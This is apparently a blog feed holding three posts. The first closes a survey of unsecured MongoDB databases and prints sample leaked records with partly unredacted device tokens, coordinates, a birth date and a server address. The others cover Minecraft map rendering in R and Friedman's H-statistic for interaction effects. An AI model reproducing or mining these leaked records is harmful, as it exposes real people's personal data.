{'_id': ObjectId('5bdfd67b36960a2a26de8d6f'), 'id': '2111bba36dea0ea565ce9f9c320b2fe2dc5909f1', 'title': 'Walmart’s test store for new technology, Sam’s Club Now, opens next week in Dallas – TechCrunch', 'url': 'https://techcrunch.com/2018/10/28/walmarts-test-store-for-new-technology-sams-club-now-opens-next-week-in-dallas/', 'date': '2018-10-29T02:00:00.000+02:00', 'text': 'Sarah Perez @sarahintampa / 4 days Walmart’s warehouse club, Sam’s Club is preparing to open the doors at a new Dallas area store that will serve as a testbed for the latest in retail technology. Specifically, the retailer will test out new concepts like mobile checkout, an █████.', 'location': 'US', 'sector': ['CPR'], 'tech': ['ai'], 'mega': ['hlt_rim', 'ind_red'], 'focus': ['CPR::Retail', 'CPR::Apparel and Footwear', 'PNU::Retail', 'HLT::Growth Strategy and Integration'], 'sectorkeywords': ['Retail::Human Augmentation', 'Retail::Human Augmentation', 'Retail::Non-Traditional Entrants', █████], 'megakeywords': ['Food by design ::Preventive Health', 'Industry redefined ::Human Augmentation', 'Health reimagined ::Wicked health problems', 'Health reimagined ::Digital platforms', 'Future of work ::Human Augmentation', 'Super consumer ::Human Augmentation', 'Super consumer ::Non-Traditional Entrants'], 'people': ['sarah perez', 'sam'], 'company': ['walmart', 'club now', 'sam’s club now'], 'sentiment': 0.0872590465090465, 'titlesentiment': 0.06818181818181818, 'contentsentiment': 0.10633627483627484, 'vector': [█████]}

Some other fragments

I’m going to close this post with a number of hand-picked data records.

This one keeps track of coach bus drivers:

{'_id': '486:0:1546189918000', 'vehicle_id': 486, 'comm_no': '013180015945', 'driver_certificate': '610600396490', 'driver_id': 0, 'driver_img': '█████', 'driver_name': '█████', 'identity': '█████', 'is_sync': 0, 'on_duty': True, 'qualification': '█████', 'source_card_type': 0, 'terminal_id': 486, 'terminal_type': 800, 'time': datetime.datetime(2018, 12, 30, 17, 11, 58), 'vehicle_no': '█████'}

There’re a lot of records dealing with sensor data:

{'_id': ObjectId('5bce40619146ba4e3b584804'), 'sensorId': '1f9342', 'sensorType': 0, 'mcuId': 2, 'ts': 1540241372296, 'gatewayId': 'xMain', 'rssi': -51, 'emergency': 0, 'humidity': 36.70000076293945, 'temp': 27.200000762939453, 'externalValue': 0, 'gyro': {'ax': 0.0, 'ay': 2.0, 'az': 98.0, 'gx': 2.0, 'gy': -20.0, 'gz': -20.0}, 'ax': 0.0, 'ay': 2.0, 'az': 98.0, 'gx': 2.0, 'gy': -20.0, 'gz': -20.0, 'avgIntervalTime': 725591.5, 'intervalTime': 619177, 'maxIntervalTime': 226807200, '_class': 'net.xenix.iot.sensor.stream.model.SensorLogData'}

{'_id': ObjectId('5c512f178076a41c2430aef5'), 'sensorID': 26855, 'lokasi': 'PUSKESMAS AIR BELITI', 'sla_itb': 99.83, 'sla_prtg': 83.0, 'provinsi': 'Sumatera Selatan', 'kabkot': 'Musi Rawas', 'bulan': 9}

There’s data about job postings:

{'_id': ObjectId('5c7504f8d829dc4dafde5a2a'), 'companyName': '█████', 'jobTitle': 'Software Tester Trainee', 'jobBrief': 'Thi is profile for trainee software tester. Candidate should have experience in between 0 - 6 months. Educational qualification for this job is BE (IT/CSE) , MCA, MCS, BCA, BCS', 'jobType': 1, 'jobLocation': 'Pune', 'salary': 7100, 'salaryCycle': 2, 'salaryNegotiable': True, 'minEducation': 'Bachelors Degree ', 'experience': '1', 'skills': 'Software Testing, Manual Testing, Bug Life Cycle, JIRA, Test Cases , Test Scenarios', 'jobShift': 1, 'jobDescription': '1) Candidate should know about SDLC / STLC briefly. \n2) Candidate should know about Software Testing and its Bug Life Cycle \n3) Candidate can write Test Case and Test Scenarios \n4) Candidate at-least Certified from any Institute .', 'contract': 1, 'createdBy': ObjectId('5c750214d829dc4dafde5a27'), 'updatedAt': datetime.datetime(2019, 2, 26, 13, 52, 51, 50000), 'createdAt': datetime.datetime(2019, 2, 26, 9, 20, 56, 985000), '__v': 0}

There are interaction statements with chat bots:

{'_id': ObjectId('5c74f496231da05d908e0039'), 'CompanyId': 'gogyb450', 'Question': 'how to add attorney', 'CompanyName': 'gogyb', 'Intent': 'add_attorney', 'Response': 'Data Entry -> Click on Attorney Master from Data Entry Menu-> Fill all the necessary   details and Click on Add', 'Source': 'Web'}

As well as chat messages:

{'_id': ObjectId('5c718f6ef64d1f14898b58a6'), 'lastMessage': False, 'date': '2019-02-23', 'hour': '13:22', 'status': True, 'img': '', 'url': '', 'message': 'necesito información del vehiculo', 'from': 10, 'to': 9, 'idAd': None, '__v': 0}

As well as apps for people looking for love:

{'_id': ObjectId('58f0cdfbbb80d06e7b90ef7e'), 'updatedAt': datetime.datetime(2017, 6, 9, 11, 37, 35, 234000), 'createdAt': datetime.datetime(2017, 4, 14, 13, 26, 19, 545000), 'email': '█████@hotmail.com', 'password': '█████', 'created': None, 'device_token': 'dZABYOuYL6o:APA91bFwtmqXm1RX7j2_FmK9ghPqEWzRsyMEhaNAqL-I6AXLbU5r6tTNbrtL72hRYpDS32BJX_sO80OgIei06UyRdN_UIuqCY2jmPNR-IawjuK2LpAm-NOCgqi_14vBZj8Fo2WZZqM6E', 'user_agent': {'ua': 'Mozilla/5.0 (Linux; Android 5.0.1; Lenovo TB3-710F Build/LRX21M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/45.0.2454.95 Safari/537.36', 'browser': {'name': 'Chrome WebView', 'version': '45.0.2454.95', 'major': '45'}, 'engine': {'version': '537.36', 'name': 'WebKit'}, 'os': {'name': 'Android', 'version': '5.0.1'}, 'device': {'model': 'TB3-710F', 'vendor': 'Lenovo', 'type': 'mobile'}, 'cpu': {'architecture': None}}, 'longitude': 151.0921365, 'latitude': -34.0135686, 'city': 'Sydney', 'country': 'Australia', 'role': 'user', 'activation_code': None, 'account_active': 'yes', 'google_pic': None, 'facebook_pic': None, 'profile_pic': '█████', 'google_id': None, 'facebook_id': None, 'mobile': None, 'email_verify': 'yes', 'last_login': datetime.datetime(2017, 6, 9, 11, 37, 35, 230000), 'dob': datetime.datetime(1988, 1, 15, 0, 0), 'quick_blox_pass': '█████', '_quickblox': 27493899, 'name': '█████', 'about': 'Looking for love !', 'gender': 'female', 'nationality': 'Australian', '__v': 0}

A whole address book with contacts (hundreds of them):

{'_id': ObjectId('5be156106a496e6b73b530af'), 'contacts': [{'country': '91', 'phone': '█████'}, {'country': '91', 'phone': '█████'}, █████], 'devices': [{'_id': ObjectId('5be156106a496e6b73b530b0'), 'session': '', 'platform': 'android', 'name': 'ONEPLUS A3003', 'udid': 'a5189e9d8e5851a6', 'online': 0, 'push_token': 'dFSrE8iisCE:APA91bEZhW9TjjWENSlYVZc51AQ3DAFMLdc1ojzA2B4vdnKSv2Vr1OwYX6WWvEgjwDG7xPE5pBpi2EtoT0KwvO--EGFMcacxhXk5VB-ztLhYukautjMzSWzthllXiIX3TICwMwcVxlRn', 'create_time': datetime.datetime(2018, 11, 6, 8, 51, 28, 806000)}], 'name': '█████', 'quote': '', 'country': '91', 'phone': '█████', 'email': '█████', 'password': '', 'avatar': 'http://173.249.31.73/NextGenStream/files/919900003957-142126.jpg', '__v': 9}

Image data

Another interesting analysis to perform is to inspect records to see if they contain base64 encoded data starting with data:image and dump them out.

A lot of images contain QR and bar codes:

Others contain medical product images:

Receipts and signatures:

And a lot of them contain faces and more intimate photos (not shown here).

*
* *

Wrapping up, answering our original question, it is surprising to see how much data is still up for grabs in unsecured MongoDB instances. This does not even include non-standard ports, and even other types of databases which could also be open and exposed.

Also scary is how easy it is these days to theoretically set up a monitoring service which crawls the Internet (or uses Shodan, why not) in search of open data bases and just transfers all data to its own storage, where it can then be further mined for telephone numbers, addresses, names, e-mails, and personal data.

Rendering Minecraft Maps with R’s rayshader Package

2019-04-06T19:02:00+02:00

About two weeks ago, Hacker News was discussing a new R package called brickr, which relies on another relatively new and excellently crafted R package called rayshader to enable its rendering goodness. The latter package was originally constructed as a means to generate good-looking “2D and 3D hillshaded maps of elevation matrices using a combination of raytracing, spherical texture mapping, overlays, and ambient occlusion”.

Someone wondered whether this might be an appropriate tool to implement a Minecraft clone, to which I replied:

Like, playable and all? Very unlikely. It’s not going to be fast enough and R is not typically the language you’d use for games. But to e.g. import a Minecraft world and render it with the rayshader package? That might actually be a fun idea!

I decided to put my money where my mouth is an experiment with this for a couple of hours.

First, we need to come up with a map to generate. I whipped up a new Spigot server and surveyed a piece of landscape to use in Minecraft:

The next question was how to extract map data from the game. There have been a number of tools constructed over the years on how to do so, with Mapcrafter and Chunky offering something very similar to what we want to do, albeit in R.

I toyed around a bit with the source code of Mapcrafter before going for an easier route. I maintain a Jython interface to Minecraft which offers full access to the Spigot API from Python, so I whipped up a quick Python script in order to extract a height map:

from mcapi import *

me = player('Macuyiko')
loc = location(me)

print(loc)

area_size = 128

x_range = range(int(loc.x) - area_size, int(loc.x) + area_size - 1)
z_range = range(int(loc.z) - area_size, int(loc.z) + area_size - 1)
y_range = range(255, -1, -1)

ignore_list = [
    Material.AIR, Material.GRASS, Material.TALL_GRASS, Material.CAVE_AIR,
    Material.OAK_LEAVES, Material.OAK_LOG, Material.BIRCH_LEAVES, 
    Material.BIRCH_LOG, Material.DANDELION, Material.SEAGRASS, Material.POPPY,
    Material.OXEYE_DAISY, Material.WATER, Material.TALL_SEAGRASS, Material.AZURE_BLUET,
    Material.KELP, Material.KELP_PLANT, Material.OAK_PLANKS, Material.SUNFLOWER,
    Material.DARK_OAK_LEAVES, Material.RED_MUSHROOM_BLOCK, Material.DARK_OAK_LOG,
    Material.MUSHROOM_STEM, Material.PUMPKIN, Material.BROWN_MUSHROOM_BLOCK,
    Material.ROSE_BUSH, Material.SUGAR_CANE, Material.BROWN_MUSHROOM,
    Material.RED_MUSHROOM, Material.RED_MUSHROOM_BLOCK, Material.PEONY,
    Material.LILAC]

include_list = [
    Material.GRASS_BLOCK, Material.DIRT, Material.CLAY,
    Material.ANDESITE, Material.STONE, Material.SAND,
    Material.COAL_ORE, Material.GRAVEL, Material.GRANITE,
    Material.SANDSTONE, Material.IRON_ORE, Material.DIORITE,
    Material.PACKED_ICE, Material.ICE]

result_height = []
result_type = []

for x in x_range:
    result_height.append([])
    result_type.append([])
    print("Doing x-row %s" % (x,))
    for z in z_range:
        for y in y_range:
            block = WORLD.getBlockAt(x, y, z)
            if block.type in ignore_list:
                continue
            elif block.type in include_list:
                result_height[-1].append(y)
                result_type[-1].append(block.type)
                break
            else:
                print("Don't know what to do with %s" % (block,))
                exit()

import csv

with open('results_height.csv', 'wb') as csvfile:
    csvwriter = csv.writer(csvfile)
    for row in result_height:
        csvwriter.writerow(row)

with open('results_type.csv', 'wb') as csvfile:
    csvwriter = csv.writer(csvfile)
    for row in result_type:
        csvwriter.writerow(row)

This script basically goes over a grid of (x,z) values (according to Minecraft’s coordinate system) and iterates over the y-values from top (sky) to bottom, until it finds a solid block.

Note the usage of the ignore_list and include_list. I basically wanted to skip over some block types which I did not want to include in the landscape, such as tree blocks, flowers, and so one. I also skip over water blocks as I want to render these using rayshader.

At the end, a CSV file is obtained which height values for each location. We can then render this in R as follows:

devtools::install_github("tylermorganwall/rayshader")

library(rayshader)
library(dplyr)

elmap <- read.csv('c:/users/seppe/desktop/results_height.csv', header=F) %>% as.matrix

shadow <- ray_shade(elmat, zscale=1, lambert=FALSE)
ambient <- ambient_shade(elmat, zscale=1)

elmat %>%
  sphere_shade(texture = "imhof1", zscale=1) %>%
  add_shadow(shadow, 0.5) %>%
  add_shadow(ambient, 0.5) %>%
  plot_3d(elmat, zscale=1, 
          windowsize=c(640,400),
          water=TRUE, waterdepth=64, wateralpha=0.5, watercolor="lightblue")

render_snapshot()

Resulting in the following picture:

Note that there are several possibilities for improving:

Water is just set at the fixed level of 64 (the level Minecraft uses for water), though this ends up filling caves where there is no water in the Minecraft world. An alternative approach would consist of rendering everything including water blocks manually
To do so, one would also have to construct their own color map to use as the shader, instead of relying on the built-in “imhof1” texture map (e.g. by mapping all block types to a color that matches well)
Additionally, you could even construct a map consisting of all blocks in the area, instead of just the top-most one. This would effectively boil down to the same strategy that brickr uses to render more complex models. It’s not really well documented in rayshader, but it seems to be possible to render multiple height levels on top of each other through multiple plot_3d calls

Discovering Interaction Effects in Ensemble Models

2019-02-22T20:10:00+01:00

Update: this post now has a follow-up with some further details.

Throughout the past year or so, both R and Python focused data science practioners have picked up on a paper by Friedman and Popescu from 2008 entitled Predictive Learning Via Rule Ensembles. Interestingly enough, the “meat” of the paper — at least in the context we’ll discuss here — is found in the latter half, where a helpful statistic is proposed to assess interaction effects between variables in an ensemble model ¹.

Together with feature importance rankings and partial dependence plots, getting an idea of which variables interact is an effective means to make black-box models more understandable, especially since the latter can effect how you look at the former two.

The reason why I initially became interested in this idea was in a setting where a well-performing random forest model had to be converted to a (hopefully just as well performing) logistic regression model for deployment reasons. In this setting, getting some insights from the ensemble model in terms of which variables (and associated interaction effects) to keep is quite useful.

Feature Importance

Let us begin with outlining some basic concepts first, assuming some knowledge regarding predictive (ensemble) models.

First, there’s the idea of feature importance ranking, as mentioned above. We don’t necessarily need it to discuss the remainder of this post, though it’s still a good idea to discuss it as we’ll see later where it can fall short.

Say you have trained a complex ensemble model (e.g. a random forest containing a couple hundred decision trees) and you want to get an idea of which features were “important” in the model. In a univariate setting, one might simply take a look at a χ2 test or correlations, though given how a base learner like a decision tree is good to pick up on non-linearities, most practitioners prefer to “let the model do the talking” instead.

A common method to do so is to use a particular implementation of “feature importance” based on “permutations” (as this works with any model, compared to other approaches which assume that the ensemble is a bag).

The idea works as follows. Say you’ve just trained a model using a feature matrix X, row/column indexed as X[i,j]. To assess the importance of a variable j, we can compare a metric of interest (accuracy or AUC, or anything else really) on X with a modified instance it ², X’, where we permute, i.e. shuffle, the column j.

This idea was already described by Breiman and Cutler in their original random forest paper as an alternative for Gini-decrease based feature importance. In other words, the idea is to permute the column values of a single feature and then pass all samples back through the model and recompute the accuracy (or AUC, or R2, or…) The importance of that feature is the difference between the baseline and the drop in overall accuracy caused by permuting the column. The more important that feature was for the model, the higher the drop in accuracy will be.

This is a very simple mechanism, though computationally expensive, but very much — again — the preferred approach in practice. In fact, alternative implementations have been proven to be quite biased in many implementations, as well as harder to set up (as it might involve retraining the model several times). Also see this fantastic post from 2018 which delves into the topic of feature importance in depth. I fully recommended going to the post, in fact, if you’ve been using feature importance in your working, as many implementations (both in R and Python) will default to using the biased technique. Let me even go ahead and quote:

The scikit-learn Random Forest feature importance and R’s default Random Forest feature importance strategies are biased. To get reliable results in Python, use permutation importance, provided here and in our rfpimp package (via pip). For R, use importance=T in the Random Forest constructor then type=1 in R’s importance() function. In addition, your feature importance measures will only be reliable if your model is trained with suitable hyper-parameters.

In Python, you can also use the eli5 package to get solid feature importance rankings. An implementation in scikit-learn is also available, though not really in an “out of the box” fashion. (Also see this issue on GitHub.) (Update: scikit-learn has now finally implemented this as well as partial dependence plots.)

To get back on track, the permutation based feature importance ranking is solid (at least when used correctly) and easy to understand, with the drawback that it is quite computationally expensive. A theme which will remain for other things we’ll visit in this post as well, though which is a fair constraints whilst in the “model inspection” phase of your model development pipeline. (Jeremy Howard has also spoken quite a bit about this topic in the latest fast.ai courses on structured machine learning, and also indicates that sampling is fine; you’re doing inspection after all.)

As a final note, one might consider using an out-of-bag (OOB) or a validation set to assess feature importance rankings, though I’ve commonly encountered usage of the training set as well (again, we’re not necessarily trying to assess generalization performance, we just want to get an insight on our model, based on how — and on which data — it was trained). Even this fantastic book on model interpretabily argues that both train and test data might be valid depending on the use case.

The Trouble with Single-variable Importance Rankings

Feature importance rankings are great, but they’re not all-revealing. A common practice for instance is to use random forests or other ensemble models as a feature selection tool by first training them on the full feature set, and then using the feature importance rankings to select the top-n variables to keep in the productionized model (and hence retraining the model on the selected model). Think data-driven feature selection. This is a somewhat common approach which has been operationalized in packages such as Boruta.

The problem, however, is that it is easy to drop features using this strategy in case when they interact with other features.

As an example, let us construct a synthetic data set where y ~ x0 * x1 + x2 + noise. I.e. x0 and x1 interact. If we train a random forest or gradient boosting model even such a simple data set and assess the feature importance scores using scikit-learn, the problem becomes clear:

print(gbr.feature_importances_)
print(rfr.feature_importances_)

gradient boosting rankings:     [0.17174317, 0.19054922, 0.6377076 ]
random forest rankings:         [0.19065131, 0.18586131, 0.62348737]

scikit-learn doesn’t implement permutation based importance rankings (at the time of writing; note that feature_importances_ uses impurity based importance), but using rfpimp yields a similar result:

gradient boosting rankings:     [0.35668364, 0.37945421], 1.17092419]
random forest rankings:         [0.42673270, 0.43211179], 1.24873006]

Again, as we’ve stated, one needs to be careful using feature importance implementations as-is: variable x2 gets all the attention whilst the importance of the first two variables seems rather weak.

Nevertheless, by just looking at our data and plotting x0 and x1 versus the target (colored), we do see a strong interaction effect:

The question is now how we can uncover such effects by stepping beyond feature importance.

One idea we could explore is to modify the feature importance mechanism by permuting more than one variable at once. This is an interesting idea not widely explored in practice (it’s funny how even practioners never step outside of the even rudimentary bounds implementations are offering), though might nevertheless become wieldy for data sets with a considerable amount of features, especially when three-way or higher-order interaction effects need to be considered.

(As an aside, for ensemble models using decision trees as their base learner, i.e. the majority, other interesting investigations such as looking at the number of times a feature appears over the trees and how high it appears in the trees can provide valuable insights as well. Airbnb already played around with such ideas in 2015. It speaks highly to their engineering team that they were working on such things before “interpretable machine learning” was rediscovered by the rest of the community.)

There is an alternative offered by Friedman and Popescu, however, which can be implemented in a more systematic manner, and what we will focus on hereafter. First, we need to introduce an additional concept.

Partial Dependence Plots

Knowing which features play an important role is helpful (disregarding the interaction aspect for a bit longer). The next question one will be asked is commonly “why” or “how” these are important. An easy mistake to make is to think linearly and to think that if x goes up, y will go up (or down), though this ignores all those non-linear effects these black-box models are so good at extracting.

Instead, it makes more sense to draw up a partial dependence plot. The basic idea is simple as well. Given a variable j you are interested in (e.g. one established as being important, though any variable can be considered), we construct a synthetic data set as follows:

For all variables k =/= j, we take their average (or median) value (or mode, for categoricals)
Next, we “slide” over the variable j between its min and max values observed in the data, hence generating a new set of instances which only differ in their j feature
- Note that this can either be grid based (e.g. a stepwise slide), or based on the actual values observed in the data
We then ask the model to predict a probability for each row in our synthetic data set and plot the results (i.e. across the different values for j)

The idea is to get a ceteris paribus effects plot for this variable.

Trying this on our synthetic data set, we get:

This idea works well in practice, though basically suffers from the same drawback as feature importance: we’re looking at the ceteris paribus effect per variable, in a univariate manner. Indeed, looking at the partial dependence plots above, one might get the impression that the effects of x0 and x1 are “less strong” than x2. This is a dangerous mistake to make. In general, one should understand that if you see a relationship, this indeed indicates presence of an effect on the target, though absence of a relationship does not indicate absence of an effect. In the extreme case, one might even observe a flat line for one of the variables involved in an interaction in the partial dependence plots, even though those variables together do impose a strong effect on the target.

Again, people have been aware of this drawback for quite a while. Forest floor was one of the first to pick up on this in the R world (since 2015 and a paper in 2016), and produced a package to plot two-way interaction effects. The pdp R package does something similar. Another package, for Python, sklearn_gbmi also allows to plot two-dimensional partial dependence plots, and so does pdpbox for Python. (Update: and recent versions of scikit-learn allow to plot two-dimensional partial dependence plots as well.)

The idea remains the same: keep everything ceteris paribus except for — now — two variables which we assess over a grid, either stepwise generated or based on the real values observed in the data.

Nevertheless, this is somewhat limited to two dimensions only; for three-way interaction effects and higher, one needs to get quite creative with colors and shapes to visually inspect the results.

ICE (Individual Conditional Expectation) Plots

ICE plots are a newer though very similar idea to partial dependence plots, but offer a bit more in terms of avoiding the “interaction” trap.

The idea here is not to “average” over variables k =/= j outside the variable of interest, but instead to keep every instance as is and slide over variable j of interest. Every original observation in the data set is hence duplicated with the variable j taking on multiple values, again either over a grid or based on the values observed in the data. The idea is then to plot a separate line for each original observation as we slide through the values of j on the x-axis.

This allows us to easily spot deviations across different segments of our population. For instance, this is the ICE plot for sliding over x0 in our synthetic data set:

This is a very powerful concept, as it allows us to get the best results so far in a univariate setting. First, in case there are interaction effects (or general instabilities in predictive results) present, we can observe this in the ICE lines being “spread out” over the different values of j.

(Note: it is common practice to “center” the ICE lines at zero to make this comparison easier, as seen in the picture.)

Second, we can still easily extract a general “partial dependence style” plot by averaging the value across the lines, as displayed by the center yellow line in the picture above.

(Not that there would necessarily be any guarantee for this average ICE line to be exactly the same as the partial dependence plot as described above. It depends somewhat on the intricacies of the learner, though averages are such a… well, central, concept in virtually all learners that the results will be virtually similar. Again, this would make for a nice topic to explore further both from an empirical and theoretical perspective.)

In any case, we now have the building blocks required to finally delve into what we’re interested in here. As one can observe, ICE plots are better suited to warn a user against interpreting a “partial dependency”, though can still make it quite hard to uncover the full extent of interactions. Again, when limiting oneself to the setting of two features, the concept of ICE plots is easily ported. This is the result for x0 * x1, for instance. The ICE plot clearly indicates the presence of an interaction, as would a standard partial dependence plot:

Though again, the question remains: how do we systematically extract deeper interactions, given that visualizations cannot help us much in this setting ³?

Introducing Friedman’s H-statistic

The interpretable ML book by Christoph Molnar actually gives us a workable approach, by using Friedman’s H-statistic based on decomposition of the partial dependence values.

The book describes both “versions” of the H-statistic:

H2(jk) to measure whether features j and k interact. For this, partial dependence results need to be calculated for j and k separately, and j and k together. I’ll call this the second-order measure
H2(j) to measure if a feature j interacts with any other feature. This can hence be regarded as a first-order measure guiding the second-order measures to check

This is a great approach, but two problems exist in most implementations:

The second-order H2 measure can actually be constructed for higher-order interactions as well, the paper mentions this in passing through “Analogous relationships can be derived for the absence of higher order interactions” and by providing a metric for H2(jkl). This requires partial dependence values for higher-order feature sets, which most implementations do not provide
Most implementations will only implement H2(jk), without providing the first-order test H2(j), which would greatly help to reduce the number of checks to perform

There are other aspects to consider as well (e.g. with regards to sampling to speed up the procedure), but let us focus on these for now and see which options are available.

In R, the iml package implements both measures, but does not allow to calculate the second-order H-measure on higher-order feature sets, e.g. H2(jkl)
The R interact.gbm package only works for gradient boosting models and does not implement the first-order measure, but does allow for higher-order second-order measures
The R pre package seems to implement the first-order measure, but not the second-order one
In Python, sklearn_gbmi will accept feature sets of length two and higher, but does not provide support for the first-order measure, very similar to interact.gbm in R. It only works on gradient boosting based models
In Python, the vip implements a clever alternative approach to find whether two feature interact based on ICE plot comparisons which is much faster, but is only implemented for two-way interactions as well

A manual Python implementation

Especially in Python, the situation regarding the H-measure looks a bit bleak. Using pdpbox to extract partial dependence values, we can however set up an implementation of both measures which work for any model. For two-way interactions (hiding the exact calculation of the H-measure until a bit later), we can compare our result with what sklearn_gbmi tells us for H2(jk):

gradient boosting (first result is sklearn_gbmi, second is ours):
('x0', 'x1') 0.3694527407798142     0.21799393342197507
('x0', 'x2') 0.04741546008708799    0.037965435191138985
('x1', 'x2') 0.0350484030284537     0.03754977728770199

random forest:
('x0', 'x1')                        0.252313467519671
('x0', 'x2')                        0.03840902079127481
('x1', 'x2')                        0.034315016474317464

Small differences are due to handling of the construction of the values for the features under observation to “slide” over. sklearn_gbmi uses the values as seen in the data set whereas pdpbox using a grid based approach, but the results are comparable: both models show that variables x0 and x1 interact.

However, for H2(jkl) and higher-order interactions, we need to modify pdpbox so that is is able to calculate partial dependence values for more than two variables under consideration. (In fact, pdpbox does silently accept more than two features when calling it, but will simply ignore everything apart from the first two.)

As such, we define a function as follows:

from pdpbox.pdp_calc_utils import _calc_ice_lines_inter
from pdpbox.pdp import pdp_isolate, PDPInteract
from pdpbox.utils import (_check_model, _check_dataset, _check_percentile_range, _check_feature,
                    _check_grid_type, _check_memory_limit, _make_list,
                    _calc_memory_usage, _get_grids, _get_grid_combos, _check_classes)
from joblib import Parallel, delayed

def pdp_multi_interact(model, dataset, model_features, features, 
                    num_grid_points=None, grid_types=None, percentile_ranges=None, grid_ranges=None, cust_grid_points=None, 
                    cust_grid_combos=None, use_custom_grid_combos=False,
                    memory_limit=0.5, n_jobs=1, predict_kwds=None, data_transformer=None):

    def _expand_default(x, default, length):
        if x is None:
            return [default] * length
        return x

    def _get_grid_combos(feature_grids, feature_types):
        grids = [list(feature_grid) for feature_grid in feature_grids]
        for i in range(len(feature_types)):
            if feature_types[i] == 'onehot':
                grids[i] = np.eye(len(grids[i])).astype(int).tolist()
        return np.stack(np.meshgrid(*grids), -1).reshape(-1, len(grids))

    if predict_kwds is None:
        predict_kwds = dict()

    nr_feats = len(features)

    # check function inputs
    n_classes, predict = _check_model(model=model)
    _check_dataset(df=dataset)
    _dataset = dataset.copy()

    # prepare the grid
    pdp_isolate_outs = []
    if use_custom_grid_combos:
        grid_combos = cust_grid_combos
        feature_grids = []
        feature_types = []
    else:
        num_grid_points = _expand_default(x=num_grid_points, default=10, length=nr_feats)
        grid_types = _expand_default(x=grid_types, default='percentile', length=nr_feats)
        for i in range(nr_feats):
            _check_grid_type(grid_type=grid_types[i])

        percentile_ranges = _expand_default(x=percentile_ranges, default=None, length=nr_feats)
        for i in range(nr_feats):
            _check_percentile_range(percentile_range=percentile_ranges[i])

        grid_ranges = _expand_default(x=grid_ranges, default=None, length=nr_feats)
        cust_grid_points = _expand_default(x=cust_grid_points, default=None, length=nr_feats)

        _check_memory_limit(memory_limit=memory_limit)

        pdp_isolate_outs = []
        for idx in range(nr_feats):
            pdp_isolate_out = pdp_isolate(
                model=model, dataset=_dataset, model_features=model_features, feature=features[idx],
                num_grid_points=num_grid_points[idx], grid_type=grid_types[idx], percentile_range=percentile_ranges[idx],
                grid_range=grid_ranges[idx], cust_grid_points=cust_grid_points[idx], memory_limit=memory_limit,
                n_jobs=n_jobs, predict_kwds=predict_kwds, data_transformer=data_transformer)
            pdp_isolate_outs.append(pdp_isolate_out)

        if n_classes > 2:
            feature_grids = [pdp_isolate_outs[i][0].feature_grids for i in range(nr_feats)]
            feature_types = [pdp_isolate_outs[i][0].feature_type  for i in range(nr_feats)]
        else:
            feature_grids = [pdp_isolate_outs[i].feature_grids for i in range(nr_feats)]
            feature_types = [pdp_isolate_outs[i].feature_type  for i in range(nr_feats)]

        grid_combos = _get_grid_combos(feature_grids, feature_types)

    feature_list = []
    for i in range(nr_feats):
        feature_list.extend(_make_list(features[i]))

    # Parallel calculate ICE lines
    true_n_jobs = _calc_memory_usage(
        df=_dataset, total_units=len(grid_combos), n_jobs=n_jobs, memory_limit=memory_limit)

    grid_results = Parallel(n_jobs=true_n_jobs)(delayed(_calc_ice_lines_inter)(
        grid_combo, data=_dataset, model=model, model_features=model_features, n_classes=n_classes,
        feature_list=feature_list, predict_kwds=predict_kwds, data_transformer=data_transformer)
                                                for grid_combo in grid_combos)

    ice_lines = pd.concat(grid_results, axis=0).reset_index(drop=True)
    pdp = ice_lines.groupby(feature_list, as_index=False).mean()

    # combine the final results
    pdp_interact_params = {'n_classes': n_classes, 
                        'features': features, 
                        'feature_types': feature_types,
                        'feature_grids': feature_grids}
    if n_classes > 2:
        pdp_interact_out = []
        for n_class in range(n_classes):
            _pdp = pdp[feature_list + ['class_%d_preds' % n_class]].rename(
                columns={'class_%d_preds' % n_class: 'preds'})
            pdp_interact_out.append(
                PDPInteract(which_class=n_class,
                            pdp_isolate_outs=[pdp_isolate_outs[i][n_class] for i in range(nr_feats)],
                            pdp=_pdp, **pdp_interact_params))
    else:
        pdp_interact_out = PDPInteract(
            which_class=None, pdp_isolate_outs=pdp_isolate_outs, pdp=pdp, **pdp_interact_params)

    return pdp_interact_out

And can now call:

pdp_multi_interact(gbr, tr_X, xs.columns, ['x0', 'x1', 'x2'])

    x0          x1          x2          preds
0   0.000356    0.000016    0.000074    -0.122989
1   0.000356    0.000016    0.111043    -0.005618
2   0.000356    0.000016    0.220973    0.149123
3   0.000356    0.000016    0.338448    0.305684
...

Next, we implement a function to calculate F values (i.e. partial dependence values) for (jkl…) and all subsets:

def center(arr): return arr - np.mean(arr)

def compute_f_vals(mdl, X, features, selectedfeatures, num_grid_points=10, use_data_grid=False):
    f_vals = {}
    data_grid = None
    if use_data_grid:
        data_grid = X[selectedfeatures].values
    # Calculate partial dependencies for full feature set
    p_full = pdp_multi_interact(mdl, X, features, selectedfeatures, 
                                num_grid_points=[num_grid_points] * len(selectedfeatures),
                                cust_grid_combos=data_grid,
                                use_custom_grid_combos=use_data_grid)
    f_vals[tuple(selectedfeatures)] = center(p_full.pdp.preds.values)
    grid = p_full.pdp.drop('preds', axis=1)
    # Calculate partial dependencies for [1..SFL-1]
    for n in range(1, len(selectedfeatures)):
        for subsetfeatures in itertools.combinations(selectedfeatures, n):
            if use_data_grid:
                data_grid = X[list(subsetfeatures)].values
            p_partial = pdp_multi_interact(mdl, X, features, subsetfeatures, 
                                        num_grid_points=[num_grid_points] * len(selectedfeatures),
                                        cust_grid_combos=data_grid,
                                        use_custom_grid_combos=use_data_grid)
            p_joined = pd.merge(grid, p_partial.pdp, how='left')
            f_vals[tuple(subsetfeatures)] = center(p_joined.preds.values)
    return f_vals

From which we can define the second-order H-measure:

def compute_h_val(f_vals, selectedfeatures):
    denom_els = f_vals[tuple(selectedfeatures)].copy()
    numer_els = f_vals[tuple(selectedfeatures)].copy()
    sign = -1.0
    for n in range(len(selectedfeatures)-1, 0, -1):
        for subfeatures in itertools.combinations(selectedfeatures, n):
            numer_els += sign * f_vals[tuple(subfeatures)]
        sign *= -1.0
    numer = np.sum(numer_els**2)
    denom = np.sum(denom_els**2)
    return math.sqrt(numer/denom) if numer < denom else np.nan

And first-order H-measure as well:

def compute_h_val_any(f_vals, allfeatures, selectedfeature):
    otherfeatures = list(allfeatures)
    otherfeatures.remove(selectedfeature)
    denom_els = f_vals[tuple(allfeatures)].copy()
    numer_els = denom_els.copy()
    numer_els -= f_vals[(selectedfeature,)]
    numer_els -= f_vals[tuple(otherfeatures)]
    numer = np.sum(numer_els**2)
    denom = np.sum(denom_els**2)
    return math.sqrt(numer/denom) if numer < denom else np.nan

Testing this on one of our models, we get, for the first-order H measure:

x0 is in interaction: 0.2688984990347688
x1 is in interaction: 0.26778914050926556
